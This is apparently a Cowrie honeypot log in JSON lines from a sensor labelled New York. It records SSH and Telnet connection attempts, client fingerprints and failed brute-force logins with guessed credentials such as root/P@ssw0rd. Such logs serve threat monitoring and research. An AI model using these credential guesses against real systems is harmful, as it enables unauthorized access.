{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:50.428638Z","src_ip":"91.92.40.153","session":"c196fdcd5f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38838,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d45c6743c7b","protocol":"ssh","message":"New connection: 160.187.174.22:38838 (159.203.135.109:22) [session: 5d45c6743c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:51.044739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:51.049677Z","src_ip":"160.187.174.22","session":"5d45c6743c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:51.130752Z","src_ip":"91.92.40.153","session":"c8b882e0eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:51.288859Z","src_ip":"160.187.174.22","session":"5d45c6743c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:52.014403Z","src_ip":"160.187.174.22","session":"5d45c6743c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:53.260276Z","src_ip":"160.187.174.22","session":"5d45c6743c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38172,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0125702baa4","protocol":"ssh","message":"New connection: 91.92.40.153:38172 (10.17.0.5:22) [session: d0125702baa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:54.520235Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:55.075632Z","src_ip":"139.99.74.35","session":"bb766db49e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53600,"dst_ip":"159.203.135.109","dst_port":22,"session":"d67f486ad908","protocol":"ssh","message":"New connection: 139.99.74.35:53600 (159.203.135.109:22) [session: d67f486ad908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:55.299807Z"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:55.513125Z","src_ip":"91.92.40.153","session":"c196fdcd5f33","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:56.199567Z","src_ip":"91.92.40.153","session":"d0125702baa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:56.202854Z","src_ip":"91.92.40.153","session":"d0125702baa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:57.785879Z","src_ip":"91.92.40.153","session":"c196fdcd5f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:00.082087Z","src_ip":"139.99.74.35","session":"d67f486ad908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53608,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd4de1338d84","protocol":"ssh","message":"New connection: 139.99.74.35:53608 (159.203.135.109:22) [session: bd4de1338d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:00.322891Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38220,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a5d7721d53a","protocol":"ssh","message":"New connection: 91.92.40.153:38220 (10.17.0.5:22) [session: 7a5d7721d53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:00.426094Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:01.165514Z","src_ip":"91.92.40.153","session":"d0125702baa4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:01.621823Z","src_ip":"91.92.40.153","session":"7a5d7721d53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:01.625328Z","src_ip":"91.92.40.153","session":"7a5d7721d53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:03.514730Z","src_ip":"91.92.40.153","session":"d0125702baa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":35302,"dst_ip":"10.17.0.5","dst_port":23,"session":"a332f2d9f48c","protocol":"telnet","message":"New connection: 107.150.146.69:35302 (10.17.0.5:23) [session: a332f2d9f48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:03.773571Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:05.103678Z","src_ip":"139.99.74.35","session":"bd4de1338d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42904,"dst_ip":"159.203.135.109","dst_port":22,"session":"047a3838ba9a","protocol":"ssh","message":"New connection: 139.99.74.35:42904 (159.203.135.109:22) [session: 047a3838ba9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:05.317189Z"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:06.214690Z","src_ip":"91.92.40.153","session":"7a5d7721d53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33902,"dst_ip":"10.17.0.5","dst_port":22,"session":"630505e41bd5","protocol":"ssh","message":"New connection: 91.92.40.153:33902 (10.17.0.5:22) [session: 630505e41bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:07.462734Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:07.998333Z","src_ip":"91.92.40.153","session":"7a5d7721d53a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:08.169545Z","src_ip":"91.92.40.153","session":"630505e41bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:08.173162Z","src_ip":"91.92.40.153","session":"630505e41bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:10.098883Z","src_ip":"139.99.74.35","session":"047a3838ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42910,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1836eaa8601","protocol":"ssh","message":"New connection: 139.99.74.35:42910 (159.203.135.109:22) [session: d1836eaa8601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:10.328970Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:12.127475Z","src_ip":"91.92.40.153","session":"630505e41bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45526,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf6d221ca6b","protocol":"ssh","message":"New connection: 91.92.40.153:45526 (10.17.0.5:22) [session: 7cf6d221ca6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.298138Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":50944,"dst_ip":"159.203.135.109","dst_port":22,"session":"5240952d71b5","protocol":"ssh","message":"New connection: 162.214.5.224:50944 (159.203.135.109:22) [session: 5240952d71b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.351777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.356885Z","src_ip":"162.214.5.224","session":"5240952d71b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.469357Z","src_ip":"162.214.5.224","session":"5240952d71b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hedera","password":"hedera2024","message":"login attempt [hedera/hedera2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.761376Z","src_ip":"162.214.5.224","session":"5240952d71b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:13.995834Z","src_ip":"91.92.40.153","session":"630505e41bd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:14.101075Z","src_ip":"91.92.40.153","session":"7cf6d221ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:14.107715Z","src_ip":"91.92.40.153","session":"7cf6d221ca6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.48772978782654,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:14.917803Z","src_ip":"170.64.224.25","session":"56c745417903","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.119110Z","src_ip":"139.99.74.35","session":"d1836eaa8601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.129613Z","src_ip":"139.99.74.35","session":"d1836eaa8601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":51874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cde097f866","protocol":"ssh","message":"New connection: 154.16.115.34:51874 (10.17.0.5:22) [session: b9cde097f866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.717540Z"}
